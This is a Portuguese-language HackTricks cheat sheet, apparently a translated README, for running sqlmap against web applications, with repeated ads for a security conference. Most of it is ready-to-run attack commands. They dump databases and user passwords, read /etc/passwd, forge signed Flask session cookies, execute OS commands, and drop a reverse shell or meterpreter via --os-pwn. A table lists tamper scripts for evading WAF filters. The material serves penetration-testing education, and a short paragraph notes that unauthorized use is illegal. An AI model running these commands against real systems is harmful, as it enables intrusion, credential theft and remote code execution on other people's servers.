hacktricks/pentesting-web/sql-injection/sqlmap/README.md

19 KiB

SQLMap - Cheetsheat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década que será realizado nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org/" %}

Argumentos básicos para o SQLmap

Genérico

-u "<URL>" 
-p "<PARAM TO TEST>" 
--user-agent=SQLMAP 
--random-agent 
--threads=10 
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>" 
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Recuperar Informação

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dados do Banco de Dados

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Local de Injeção

A partir da captura do Burp/ZAP

Capture a requisição e crie um arquivo req.txt.

sqlmap -r req.txt --current-user

Injeção de Requisição GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injeção de Requisição POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injeções em Cabeçalhos e outros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicar a string quando a injeção for bem-sucedida

--string="string_showed_when_TRUE" 

Eval

O Sqlmap permite o uso de -e ou --eval para processar cada payload antes de enviá-lo com algum comando em uma linha em Python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a sessão de cookie do Flask é assinada pelo Flask com o segredo conhecido antes de ser enviada:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

A shell é um programa que fornece uma interface de linha de comando (CLI) para interagir com o sistema operacional. O shell é responsável por interpretar os comandos inseridos pelo usuário e executá-los. Existem vários tipos de shell disponíveis, incluindo o Bash, Zsh, Csh e PowerShell. O shell é uma ferramenta essencial para os pentesters, pois permite que eles executem comandos rapidamente e automatizem tarefas repetitivas.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Ler Arquivo

--file-read=/etc/passwd

Rastreando um site com SQLmap e auto-exploitando

O SQLmap é uma ferramenta poderosa para testes de penetração em bancos de dados. Ele pode ser usado para detectar vulnerabilidades de injeção de SQL em um site e explorá-las automaticamente. Com o SQLmap, é possível rastrear um site em busca de vulnerabilidades de injeção de SQL e, em seguida, explorá-las automaticamente para obter acesso não autorizado ao banco de dados subjacente.

Para rastrear um site com o SQLmap, basta executar o seguinte comando:

sqlmap -u <URL> --crawl=1

Isso fará com que o SQLmap rastreie o site em busca de links e formulários que possam ser usados para explorar vulnerabilidades de injeção de SQL. O parâmetro --crawl=1 indica que o SQLmap deve seguir os links encontrados no site.

Depois que o SQLmap terminar de rastrear o site, ele exibirá uma lista de vulnerabilidades de injeção de SQL encontradas. Para explorar essas vulnerabilidades automaticamente, basta adicionar o parâmetro --batch ao comando:

sqlmap -u <URL> --batch

Isso fará com que o SQLmap explore automaticamente todas as vulnerabilidades de injeção de SQL encontradas no site. O parâmetro --batch indica que o SQLmap deve executar em modo batch, sem interação do usuário.

É importante lembrar que o uso do SQLmap em um site sem autorização prévia é ilegal e pode resultar em consequências graves. O SQLmap deve ser usado apenas para fins de teste de penetração em sites autorizados.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injeção de Segunda Ordem

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Leia este post** sobre como realizar injeções de segunda ordem simples e complexas com o sqlmap.**

DragonJAR Security Conference é um evento internacional de segurança cibernética com mais de uma década de existência que será realizado nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atraem hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org/" %}

Personalizando a Injeção

Definir um sufixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ajuda para encontrar injeção booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Lembre-se de que você pode criar seu próprio tamper em python e é muito simples. Você pode encontrar um exemplo de tamper na página de Injeção de Segunda Ordem aqui.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descrição
apostrophemask.py Substitui o caractere apóstrofo pelo seu equivalente UTF-8 de largura total
apostrophenullencode.py Substitui o caractere apóstrofo pelo seu equivalente duplo unicode ilegal
appendnullbyte.py Adiciona um byte nulo codificado no final da carga útil
base64encode.py Codifica em base64 todos os caracteres em uma determinada carga útil
between.py Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #'
bluecoat.py Substitui o caractere de espaço após a instrução SQL por um caractere em branco válido aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE
chardoubleencode.py Codifica em dobro todos os caracteres em uma determinada carga útil (não processando os já codificados)
commalesslimit.py Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'
commalessmid.py Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'
concat2concatws.py Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Codifica em URL todos os caracteres em uma determinada carga útil (não processando os já codificados)
charunicodeencode.py Codifica em URL Unicode os caracteres não codificados em uma determinada carga útil (não processando os já codificados). "%u0022"
charunicodeescape.py Codifica em URL Unicode os caracteres não codificados em uma determinada carga útil (não processando os já codificados). "\u0022"
equaltolike.py Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE'
escapequotes.py Escapa as aspas simples (' e ")
greatest.py Substitui o operador maior que ('>') pelo seu equivalente GREATEST
halfversionedmorekeywords.py Adiciona um comentário versionado do MySQL antes de cada palavra-chave
ifnull2ifisnull.py Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Abraça a consulta completa com comentário versionado do MySQL
modsecurityzeroversioned.py Abraça a consulta completa com comentário de versão zero do MySQL
multiplespaces.py Adiciona vários espaços em torno das palavras-chave SQL
nonrecursivereplacement.py Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) filtros
percentage.py Adiciona um sinal de porcentagem ('%') na frente de cada caractere
overlongutf8.py Converte todos os caracteres em uma determinada carga útil (não processando os já codificados)
randomcase.py Substitui cada caractere de palavra-chave por um valor de caso aleatório
randomcomments.py Adiciona comentários aleatórios às palavras-chave SQL
securesphere.py Adiciona uma string especial criada
sp_password.py Adiciona 'sp_password' ao final da carga útil para obfuscação automática dos logs do DBMS
space2comment.py Substitui o caractere de espaço (' ') por comentários
space2dash.py Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma string aleatória e uma nova linha ('\n')
space2hash.py Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma string aleatória e uma nova linha ('\n')
space2morehash.py Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma string aleatória e uma nova linha ('\n')
space2mssqlblank.py Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
space2mssqlhash.py Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma nova linha ('\n')
space2mysqlblank.py Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
space2mysqldash.py Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma nova linha ('\n')
space2plus.py Substitui o caractere de espaço (' ') por um sinal de mais ('+')
space2randomblank.py Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
symboliclogical.py Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e ||)
unionalltounion.py Substitui UNION ALL SELECT por UNION SELECT
unmagicquotes.py Substitui o caractere de aspas simples (') por uma combinação multibyte %bf%27 juntamente com um comentário genérico no final (para que funcione)
uppercase.py Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'
varnish.py Adiciona um cabeçalho HTTP 'X-originating-IP'
versionedkeywords.py Encerra cada palavra-chave não funcional com comentário versionado do MySQL
versionedmorekeywords.py Encerra cada palavra-chave com comentário versionado do MySQL
xforwardedfor.py Adiciona um cabeçalho HTTP falso 'X-Forwarded-For'

DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década que será realizado em 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde as últimas pesquisas em espanhol são apresentadas, atraindo hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥